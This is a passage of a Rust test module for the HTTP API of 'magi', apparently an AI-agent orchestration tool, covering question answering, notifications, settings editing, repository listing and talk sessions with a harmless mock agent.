11521            "the agent's reply is what should light the banner back up"
11522        );
11523    }
11524
11525    #[tokio::test]
11526    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
11527        let fx = Fixture::start().await;
11528        let store = fx.questions();
11529
11530        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11531        let res = fx
11532            .post(
11533                &format!("/api/questions/{empty_id}/say"),
11534                Some(r#"{"body":"   "}"#),
11535            )
11536            .await;
11537        assert_eq!(res.status, 400, "{}", res.body);
11538
11539        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11540        let mut answered = store.get(&answered_id).expect("get");
11541        answered
11542            .answer(Answer::Choice("SQLite".to_owned()))
11543            .expect("answer");
11544        store.put(&mut answered).expect("put");
11545        let res = fx
11546            .post(
11547                &format!("/api/questions/{answered_id}/say"),
11548                Some(r#"{"body":"still there?"}"#),
11549            )
11550            .await;
11551        assert_eq!(res.status, 409, "{}", res.body);
11552
11553        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11554        let mut abandoned = store.get(&abandoned_id).expect("get");
11555        abandoned.abandon("timed out");
11556        store.put(&mut abandoned).expect("put");
11557        let res = fx
11558            .post(
11559                &format!("/api/questions/{abandoned_id}/say"),
11560                Some(r#"{"body":"still there?"}"#),
11561            )
11562            .await;
11563        assert_eq!(res.status, 409, "{}", res.body);
11564    }
11565
11566    #[tokio::test]
11567    async fn an_answer_the_question_does_not_offer_is_refused() {
11568        let fx = Fixture::start().await;
11569        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11570        let path = format!("/api/questions/{id}/answer");
11571
11572        for body in [
11573            r#"{"choice":"Postgres"}"#,
11574            r#"{"text":"whatever you think"}"#,
11575            r#"{"choice":"Redis","text":"both"}"#,
11576            r#"{}"#,
11577        ] {
11578            let res = fx.post(&path, Some(body)).await;
11579            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
11580            assert!(res.json()["error"].is_string(), "{}", res.body);
11581        }
11582        // Nothing above may have answered it.
11583        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11584    }
11585
11586    #[tokio::test]
11587    async fn a_free_text_question_takes_text_and_not_a_choice() {
11588        let fx = Fixture::start().await;
11589        let id = ask(&fx, "What should the flag be called?", &[]);
11590        fx.questions().beat(&id, ask::WaiterKind::Asker);
11591        let path = format!("/api/questions/{id}/answer");
11592
11593        assert_eq!(
11594            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
11595            400
11596        );
11597        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
11598        assert_eq!(res.status, 200, "{}", res.body);
11599        assert_eq!(res.json()["answer"]["text"], "--json");
11600    }
11601
11602    #[tokio::test]
11603    async fn an_unknown_question_is_a_json_404() {
11604        let fx = Fixture::start().await;
11605        let res = fx
11606            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
11607            .await;
11608        assert_eq!(res.status, 404, "{}", res.body);
11609        assert!(res.json()["error"].is_string());
11610    }
11611
11612    #[tokio::test]
11613    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
11614        let fx = Fixture::start().await;
11615        let questions = Questions::at(fx.home.path().join("questions"));
11616        let store = Notices::at(fx.home.path().join("notifications"));
11617        let mut q = ask::Question::new(
11618            "t1".into(),
11619            "conduct".into(),
11620            "conductor".into(),
11621            "Continue?".into(),
11622            String::new(),
11623            Vec::new(),
11624        );
11625        questions.put(&mut q).unwrap();
11626        let mut n = Notice::warn("task:t1", "Task t1 is held.");
11627        n.covered_by = Some(q.id.clone());
11628        let n = store.raise(n).unwrap();
11629        let listed = fx.get("/api/notifications").await.json();
11630        assert_eq!(listed["items"][0]["answerable_question"], q.id);
11631        questions
11632            .update(&q.id, |q| {
11633                q.abandon("run gone");
11634                Ok(())
11635            })
11636            .unwrap();
11637        let listed = fx.get("/api/notifications").await.json();
11638        assert!(listed["items"][0]["answerable_question"].is_null());
11639        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
11640        assert!(
11641            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
11642                .unwrap()
11643                .contains("answerable_question")
11644        );
11645    }
11646
11647    #[tokio::test]
11648    async fn notifications_list_read_dismiss_and_health_agree() {
11649        let fx = Fixture::start().await;
11650        let store = Notices::at(fx.home.path().join("notifications"));
11651        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
11652        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
11653
11654        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
11655        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
11656
11657        store
11658            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
11659            .unwrap();
11660        let health = fx.get("/api/health").await.json();
11661        assert_eq!(health["notifications_unread"], 2);
11662        assert_ne!(
11663            health["notifications_rev"], rev0,
11664            "the badge must move live"
11665        );
11666
11667        let listed = fx.get("/api/notifications").await.json();
11668        assert_eq!(listed["unread"], 2);
11669        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
11670        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
11671
11672        let read = fx
11673            .post(&format!("/api/notifications/{}/read", a.id), None)
11674            .await;
11675        assert_eq!(read.status, 200, "{}", read.body);
11676        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
11677
11678        let gone = fx
11679            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
11680            .await;
11681        assert_eq!(gone.status, 200, "{}", gone.body);
11682        let listed = fx.get("/api/notifications").await.json();
11683        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
11684        assert_eq!(listed["unread"], 0);
11685
11686        store.raise(Notice::info("x", "again")).unwrap();
11687        let all = fx.post("/api/notifications/read-all", None).await;
11688        assert_eq!(all.status, 200, "{}", all.body);
11689        assert_eq!(all.json()["marked"], 1);
11690        assert_eq!(
11691            fx.get("/api/health").await.json()["notifications_unread"],
11692            0
11693        );
11694
11695        let missing = fx.post("/api/notifications/nope/read", None).await;
11696        assert_eq!(missing.status, 404, "{}", missing.body);
11697        assert!(missing.json()["error"].is_string());
11698    }
11699
11700    /// New work reaches the queue through `magi task add`, a standing talk's
11701    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
11702    /// so the compose form and that route are gone. The tests that covered
11703    /// that route's validation went with it, and nothing was left asserting
11704    /// it stays gone — so a re-added handler would silently let the phone
11705    /// file briefs no one validated.
11706    #[tokio::test]
11707    async fn a_task_cannot_be_filed_over_the_phone_directly() {
11708        let f = Fixture::start().await;
11709
11710        let res = f
11711            .post(
11712                "/api/queue",
11713                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
11714            )
11715            .await;
11716
11717        assert_eq!(
11718            res.status, 405,
11719            "POST /api/queue must not be a route: {}",
11720            res.body
11721        );
11722        assert!(
11723            f.queue().list().is_empty(),
11724            "a task filed by a route that does not exist must not reach the disk"
11725        );
11726        // The path itself is still served — the Queue view reads it — and the
11727        // per-task controls are untouched by the entry being removed.
11728        assert_eq!(f.get("/api/queue").await.status, 200);
11729    }
11730
11731    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
11732    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
11733        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
11734            .expect("checkout dir");
11735    }
11736
11737    /// Two command agents, so a config needs no real CLI.
11738    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
11739
11740    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
11741        let tmp = TempDir::new().expect("tempdir");
11742        let repo = tmp.path().join("repo");
11743        std::fs::create_dir_all(&repo).expect("repo dir");
11744        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
11745        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
11746        if let Some(text) = machine_toml {
11747            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
11748            std::fs::write(&machine, text).expect("machine toml");
11749        }
11750        (tmp, repo, machine)
11751    }
11752
11753    async fn settings_checkout(path: &FsPath, text: &str) {
11754        std::fs::create_dir_all(path).unwrap();
11755        std::fs::write(path.join("magi.toml"), text).unwrap();
11756        for args in [
11757            vec!["init", "-b", "main"],
11758            vec!["add", "magi.toml"],
11759            vec![
11760                "-c",
11761                "user.name=Test",
11762                "-c",
11763                "user.email=test@example.invalid",
11764                "commit",
11765                "-m",
11766                "fixture",
11767            ],
11768            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
11769            vec![
11770                "symbolic-ref",
11771                "refs/remotes/origin/HEAD",
11772                "refs/remotes/origin/main",
11773            ],
11774        ] {
11775            crate::git::git(path, &args).await.unwrap();
11776        }
11777    }
11778
11779    #[tokio::test]
11780    async fn settings_context_handlers_validate_and_save_without_a_socket() {
11781        let (tmp, repo, machine) =
11782            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
11783        let root = tmp.path().join("roots");
11784        let selected = root.join("host/owner/selected");
11785        settings_checkout(
11786            &selected,
11787            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
11788        )
11789        .await;
11790        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
11791        let before = std::fs::read(&machine).unwrap();
11792        let ui = Arc::new(
11793            Ui::new(
11794                Queue::at(tmp.path().join("queue")),
11795                Questions::at(tmp.path().join("questions")),
11796                Talks::at(tmp.path().join("talks")),
11797                tmp.path().join("runs"),
11798                tmp.path().to_path_buf(),
11799                repo.clone(),
11800            )
11801            .with_machine_config(Some(machine.clone())),
11802        );
11803        let query = || {
11804            Query(SettingsQuery {
11805                repo: Some(selected.clone()),
11806            })
11807        };
11808        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
11809        assert!(v.error.is_none(), "{:?}", v.error);
11810        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
11811        assert_eq!(conductor.source, "repo");
11812        assert_eq!(
11813            conductor.machine_value,
11814            Some(toml::Value::String("a".into()))
11815        );
11816        assert!(!conductor.editable);
11817        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
11818        assert_eq!(
11819            judges.count.as_ref().unwrap().machine_value,
11820            Some(toml::Value::Integer(1))
11821        );
11822        assert!(
11823            !v.roles
11824                .iter()
11825                .find(|r| r.key == "reviewers")
11826                .unwrap()
11827                .editable
11828        );
11829        let unknown = || {
11830            Query(SettingsQuery {
11831                repo: Some(tmp.path().to_path_buf()),
11832            })
11833        };
11834        assert_eq!(
11835            settings_get(State(ui.clone()), unknown())
11836                .await
11837                .unwrap_err()
11838                .status,
11839            StatusCode::UNPROCESSABLE_ENTITY
11840        );
11841        let body = || {
11842            Ok(Json(RolesBody {
11843                revision: v.revision.clone(),
11844                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
11845                counts: Default::default(),
11846            }))
11847        };
11848        assert_eq!(
11849            settings_put_roles(State(ui.clone()), unknown(), body())
11850                .await
11851                .unwrap_err()
11852                .status,
11853            StatusCode::UNPROCESSABLE_ENTITY
11854        );
11855        assert_eq!(std::fs::read(&machine).unwrap(), before);
11856        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
11857            .await
11858            .unwrap();
11859        assert_eq!(
11860            saved.repo,
11861            selected.canonicalize().unwrap().display().to_string()
11862        );
11863        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11864        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11865        // A cache miss refreshes the stable candidate list exactly for validation.
11866        let fresh = root.join("host/owner/fresh");
11867        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
11868        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
11869            .await
11870            .unwrap();
11871        assert_eq!(fresh_view.repositories.len(), 3);
11872    }
11873
11874    #[tokio::test]
11875    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
11876        let (tmp, repo, machine) = settings_dirs(
11877            "[roles]\nreviewers = [\"a\"]\n",
11878            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
11879        );
11880        let root = tmp.path().join("roots");
11881        let selected = root.join("host/owner/selected");
11882        settings_checkout(
11883            &selected,
11884            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
11885        )
11886        .await;
11887        let broken = root.join("host/owner/broken");
11888        settings_checkout(&broken, "[roles\nbroken").await;
11889        let machine_text = format!(
11890            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
11891            toml::Value::String(root.display().to_string())
11892        );
11893        std::fs::write(&machine, &machine_text).unwrap();
11894        let originals: Vec<_> = [&repo, &selected, &broken]
11895            .iter()
11896            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
11897            .collect();
11898        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11899        let default = f.get("/api/settings").await.json();
11900        assert_eq!(
11901            default["repo"],
11902            repo.canonicalize().unwrap().display().to_string()
11903        );
11904        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
11905        let query = format!("?repo={}", selected.display());
11906        let res = f.get(&format!("/api/settings{query}")).await;
11907        assert_eq!(res.status, 200, "{}", res.body);
11908        let v = res.json();
11909        assert!(v["error"].is_null(), "{v}");
11910        assert_eq!(v["repositories"], default["repositories"]);
11911        let role = |key: &str| {
11912            v["roles"]
11913                .as_array()
11914                .unwrap()
11915                .iter()
11916                .find(|r| r["key"] == key)
11917                .unwrap()
11918        };
11919        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
11920        assert_eq!(role("advisors")["source"], "repo");
11921        assert_eq!(role("advisors")["editable"], false);
11922        assert!(role("advisors")["machine_value"].is_null());
11923        assert_eq!(role("judges")["count"]["value"], 2);
11924        assert_eq!(role("judges")["count"]["machine_value"], 1);
11925        assert_eq!(role("judges")["count"]["source"], "repo");
11926        let source = role("judges")["count"]["source_path"].as_str().unwrap();
11927        assert!(
11928            source.contains("origin/main") && !source.contains("magi/config/"),
11929            "{source}"
11930        );
11931        assert_eq!(
11932            role("reviewers")["editable"],
11933            false,
11934            "default context outside roots must protect its declarations"
11935        );
11936        let body =
11937            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
11938        let unknown = format!("?repo={}", tmp.path().display());
11939        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
11940        assert_eq!(
11941            f.put(&format!("/api/settings/roles{unknown}"), &body)
11942                .await
11943                .status,
11944            422
11945        );
11946        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
11947        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
11948            .to_string();
11949        assert_eq!(
11950            f.put(&format!("/api/settings/roles{query}"), &refuse)
11951                .await
11952                .status,
11953            422
11954        );
11955        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
11956        assert_eq!(saved.status, 200, "{}", saved.body);
11957        assert_eq!(saved.json()["repo"], v["repo"]);
11958        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11959        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11960        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
11961            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
11962        }
11963        let error = f
11964            .get(&format!("/api/settings?repo={}", broken.display()))
11965            .await;
11966        assert_eq!(error.status, 200);
11967        assert!(error.json()["error"]["message"].is_string());
11968        assert_eq!(error.json()["repositories"], default["repositories"]);
11969    }
11970
11971    #[tokio::test]
11972    async fn settings_get_reports_sources_and_the_advisors_fallback() {
11973        let (_tmp, repo, machine) =
11974            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
11975        let f = Fixture::with_repo_and_machine(repo, machine).await;
11976        let res = f.get("/api/settings").await;
11977        assert_eq!(res.status, 200, "{}", res.body);
11978        let v = res.json();
11979        assert!(v["error"].is_null(), "{v}");
11980        let role = |k: &str| {
11981            v["roles"]
11982                .as_array()
11983                .and_then(|r| r.iter().find(|x| x["key"] == k))
11984                .cloned()
11985                .unwrap_or_else(|| panic!("no role {k}: {v}"))
11986        };
11987        assert_eq!(role("judges")["source"], "machine");
11988        assert_eq!(role("judges")["editable"], true);
11989        assert_eq!(role("implementers")["source"], "default");
11990        let adv = role("advisors");
11991        assert_eq!(adv["fallback"], "judges");
11992        assert!(
11993            adv["seats"]
11994                .as_array()
11995                .is_some_and(|s| s.iter().all(|x| x == "b")),
11996            "{adv}"
11997        );
11998        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
11999        assert_eq!(v["agents"][0]["source"], "repo");
12000    }
12001
12002    #[tokio::test]
12003    async fn settings_get_reports_a_config_that_does_not_parse() {
12004        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
12005        let f = Fixture::with_repo_and_machine(repo, machine).await;
12006        let res = f.get("/api/settings").await;
12007        assert_eq!(res.status, 200, "{}", res.body);
12008        let v = res.json();
12009        assert!(v["error"]["message"].is_string(), "{v}");
12010        assert!(
12011            v["error"]["path"]
12012                .as_str()
12013                .is_some_and(|p| p.ends_with("magi.toml")),
12014            "{v}"
12015        );
12016        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
12017    }
12018
12019    #[tokio::test]
12020    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
12021        let (_tmp, repo, machine) = settings_dirs(
12022            SETTINGS_AGENTS,
12023            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
12024        );
12025        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
12026        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12027        let rev = f.get("/api/settings").await.json()["revision"]
12028            .as_str()
12029            .expect("revision")
12030            .to_owned();
12031        let body = serde_json::json!({
12032            "revision": rev,
12033            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
12034        })
12035        .to_string();
12036        let res = f.put("/api/settings/roles", &body).await;
12037        assert_eq!(res.status, 200, "{}", res.body);
12038        let text = std::fs::read_to_string(&machine).expect("machine");
12039        assert_eq!(
12040            text,
12041            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
12042        );
12043        assert_eq!(
12044            std::fs::read(repo.join("magi.toml")).expect("read"),
12045            repo_before
12046        );
12047        let again = f.get("/api/settings").await.json();
12048        let judges = again["roles"]
12049            .as_array()
12050            .expect("roles")
12051            .iter()
12052            .find(|r| r["key"] == "judges")
12053            .expect("judges")
12054            .clone();
12055        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
12056        // The old revision is now stale.
12057        let stale = f.put("/api/settings/roles", &body).await;
12058        assert_eq!(stale.status, 409, "{}", stale.body);
12059    }
12060
12061    #[tokio::test]
12062    async fn settings_counts_are_reported_and_saved() {
12063        let (_tmp, repo, machine) = settings_dirs(
12064            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
12065            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
12066        );
12067        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12068        let v = f.get("/api/settings").await.json();
12069        let count = |v: &serde_json::Value, k: &str| {
12070            v["roles"]
12071                .as_array()
12072                .and_then(|r| r.iter().find(|x| x["key"] == k))
12073                .map(|x| x["count"].clone())
12074                .unwrap_or_else(|| panic!("no role {k}: {v}"))
12075        };
12076        let imp = count(&v, "implementers");
12077        assert_eq!(imp["value"], 2);
12078        assert_eq!(imp["source"], "machine");
12079        assert_eq!(imp["file_key"], "candidates");
12080        assert_eq!(imp["roster_len"], 2);
12081        assert_eq!(imp["backups"], 0);
12082        assert_eq!(count(&v, "judges")["source"], "default");
12083        assert_eq!(count(&v, "advisors")["min"], 0);
12084        assert_eq!(count(&v, "reviewers")["editable"], false);
12085        assert!(
12086            count(&v, "reviewers")["locked_reason"]
12087                .as_str()
12088                .is_some_and(|m| m.contains("graph.reviewers"))
12089        );
12090        assert!(count(&v, "fixer").is_null());
12091        let rev = v["revision"].as_str().expect("revision").to_owned();
12092        let body = serde_json::json!({
12093            "revision": rev,
12094            "roles": { "judges": ["b"] },
12095            "counts": { "implementers": 1, "advisors": 0 }
12096        })
12097        .to_string();
12098        let res = f.put("/api/settings/roles", &body).await;
12099        assert_eq!(res.status, 200, "{}", res.body);
12100        let text = std::fs::read_to_string(&machine).expect("machine");
12101        assert_eq!(
12102            text,
12103            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
12104        );
12105        let after = f.get("/api/settings").await.json();
12106        assert_eq!(count(&after, "implementers")["value"], 1);
12107        assert_eq!(count(&after, "implementers")["backups"], 1);
12108        assert_eq!(count(&after, "advisors")["value"], 0);
12109        let before = std::fs::read_to_string(&machine).expect("machine");
12110        let rev = after["revision"].as_str().expect("revision").to_owned();
12111        for counts in [
12112            serde_json::json!({ "judges": 0 }),
12113            serde_json::json!({ "judges": "x" }),
12114            serde_json::json!({ "judges": 2.5 }),
12115            serde_json::json!({ "judges": -1 }),
12116            serde_json::json!({ "reviewers": 3 }),
12117            serde_json::json!({ "bogus": 3 }),
12118        ] {
12119            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
12120            let res = f.put("/api/settings/roles", &body).await;
12121            assert_eq!(res.status, 422, "{counts}: {}", res.body);
12122            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
12123        }
12124    }
12125
12126    #[tokio::test]
12127    async fn settings_put_refuses_without_touching_the_file() {
12128        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
12129        let (_tmp, repo, machine) = settings_dirs(
12130            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
12131            Some(machine_text),
12132        );
12133        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12134        let rev = f.get("/api/settings").await.json()["revision"]
12135            .as_str()
12136            .expect("revision")
12137            .to_owned();
12138        for roles in [
12139            serde_json::json!({ "judges": ["nope"] }),
12140            serde_json::json!({ "reviewers": ["b"] }),
12141            serde_json::json!({ "bogus": ["a"] }),
12142        ] {
12143            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
12144            let res = f.put("/api/settings/roles", &body).await;
12145            assert_eq!(res.status, 422, "{roles}: {}", res.body);
12146            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
12147            assert_eq!(
12148                std::fs::read_to_string(&machine).expect("machine"),
12149                machine_text
12150            );
12151        }
12152    }
12153
12154    #[tokio::test]
12155    async fn repos_list_returns_name_and_path_for_every_configured_root() {
12156        let tmp = TempDir::new().expect("tempdir");
12157        let repo = tmp.path().join("repo");
12158        std::fs::create_dir_all(&repo).expect("repo dir");
12159        let root = tmp.path().join("root");
12160        make_checkout(&root, "github.com", "yukimemi", "magi");
12161        std::fs::write(
12162            repo.join("magi.toml"),
12163            format!(
12164                "[repos]\nroots = [{:?}]\n",
12165                root.to_string_lossy().into_owned()
12166            ),
12167        )
12168        .expect("write magi.toml");
12169
12170        let f = Fixture::with_repo(repo).await;
12171        let res = f.get("/api/repos").await;
12172        assert_eq!(res.status, 200, "{}", res.body);
12173        let list = res.json();
12174        let repos = list.as_array().expect("an array");
12175        assert_eq!(repos.len(), 1);
12176        assert_eq!(repos[0]["name"], "yukimemi/magi");
12177        assert!(
12178            repos[0]["path"]
12179                .as_str()
12180                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
12181            "{list}"
12182        );
12183    }
12184
12185    #[tokio::test]
12186    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
12187        let tmp = TempDir::new().expect("tempdir");
12188        let repo = tmp.path().join("repo");
12189        std::fs::create_dir_all(&repo).expect("repo dir");
12190        let root = tmp.path().join("root");
12191        make_checkout(&root, "github.com", "yukimemi", "magi");
12192        std::fs::write(
12193            repo.join("magi.toml"),
12194            format!(
12195                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
12196                root.to_string_lossy().into_owned()
12197            ),
12198        )
12199        .expect("write magi.toml");
12200
12201        let f = Fixture::with_repo(repo).await;
12202        let first = f.get("/api/repos").await;
12203        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
12204
12205        // A second checkout appears; within the TTL the cached answer must
12206        // not notice it.
12207        make_checkout(&root, "github.com", "yukimemi", "rvpm");
12208        let second = f.get("/api/repos").await;
12209        assert_eq!(
12210            second.json().as_array().map(Vec::len),
12211            Some(1),
12212            "a fresh cache must not rescan inside the TTL"
12213        );
12214
12215        let refreshed = f.get("/api/repos?refresh=1").await;
12216        assert_eq!(
12217            refreshed.json().as_array().map(Vec::len),
12218            Some(2),
12219            "an explicit refresh must rescan even inside the TTL"
12220        );
12221    }
12222
12223    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
12224    /// string, declared straight in a repository's own `magi.toml` rather
12225    /// than the operator's real roster. No real agent CLI is spawned - `sh`
12226    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
12227    /// this is safe to run over a real HTTP round trip.
12228    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
12229
12230    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
12231    /// real `Config::discover` to find an agent - `talk::begin` resolves one
12232    /// even though it takes no turn, and `talk_say` invokes one.
12233    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
12234        let tmp = TempDir::new().expect("tempdir");
12235        let repo = tmp.path().join("repo");
12236        std::fs::create_dir_all(&repo).expect("repo dir");
12237        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12238        let f = Fixture::with_repo(repo.clone()).await;
12239        (tmp, repo, f)
12240    }
12241
12242    #[tokio::test]
12243    async fn posting_a_talk_with_remembered_choices_is_soft() {
12244        let (_tmp, _repo, f) = talk_fixture().await;
12245
12246        let good = f
12247            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
12248            .await;
12249        assert_eq!(good.status, 201, "{}", good.body);
12250        assert_eq!(good.json()["persona"], "rei");
12251
12252        // Wrong values and wrong types are dropped one by one, never a 4xx.
12253        let stale = f
12254            .post(
12255                "/api/talks",
12256                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
12257            )
12258            .await;
12259        assert_eq!(stale.status, 201, "{}", stale.body);
12260        let v = stale.json();
12261        assert_eq!(v["implementers"], 1);
12262        assert_ne!(v["persona"], "nobody");
12263        let typed = f
12264            .post(
12265                "/api/talks",
12266                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
12267            )
12268            .await;
12269        assert_eq!(typed.status, 201, "{}", typed.body);
12270
12271        // The strict `agent` field still refuses an unknown id.
12272        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
12273        assert!(
12274            !strict.status.to_string().starts_with('2'),
12275            "{}",
12276            strict.body
12277        );
12278    }
12279
12280    #[tokio::test]
12281    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
12282        let (_tmp, _repo, f) = talk_fixture().await;
12283
12284        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
12285        // is the ordinary way a phone opens a talk.
12286        let opened = f.post("/api/talks", None).await;
12287        assert_eq!(opened.status, 201, "{}", opened.body);
12288        let body = opened.json();
12289        assert_eq!(body["status"], "open");
12290        assert_eq!(
12291            body["turns"].as_array().unwrap().len(),
12292            0,
12293            "opening takes no agent turn: there is nothing yet to answer"
12294        );
12295
12296        // An explicit empty object is the same request as none at all.
12297        let also_opened = f.post("/api/talks", Some("{}")).await;
12298        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
12299
12300        let listed = f.get("/api/talks").await.json();
12301        assert_eq!(listed.as_array().unwrap().len(), 2);
12302    }
12303
12304    #[tokio::test]
12305    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
12306        let tmp = TempDir::new().expect("tempdir");
12307        let repo = tmp.path().join("repo");
12308        std::fs::create_dir_all(&repo).expect("repo dir");
12309        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
12310        std::fs::write(
12311            repo.join("magi.toml"),
12312            format!("{MOCK_AGENT_TOML}\n{second}"),
12313        )
12314        .expect("write magi.toml");
12315        let home = TempDir::new().expect("temp home");
12316        let talks = Talks::at(home.path().join("talks"));
12317        let ui = Arc::new(
12318            Ui::new(
12319                Queue::at(home.path().join("queue")),
12320                Questions::at(home.path().join("questions")),
12321                talks.clone(),
12322                home.path().join("runs"),
12323                home.path().to_path_buf(),
12324                repo.clone(),
12325            )
12326            .with_worktrees_root(home.path().join("wt")),
12327        );
12328        let cfg = config_for(&repo).await.expect("discover config");
12329        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12330        let id = talk.id.clone();
12331        let call = |agent: &str| {
12332            talk_agent(
12333                State(Arc::clone(&ui)),
12334                Path(id.clone()),
12335                Json(TalkAgent {
12336                    agent: agent.to_owned(),
12337                }),
12338            )
12339        };
12340
12341        let unknown = call("nobody").await.expect_err("unknown agent");
12342        assert_eq!(
12343            unknown.status,
12344            StatusCode::BAD_REQUEST,
12345            "{}",
12346            unknown.message
12347        );
12348
12349        {
12350            // Nothing refused so far took a claim, so the guard is free to take
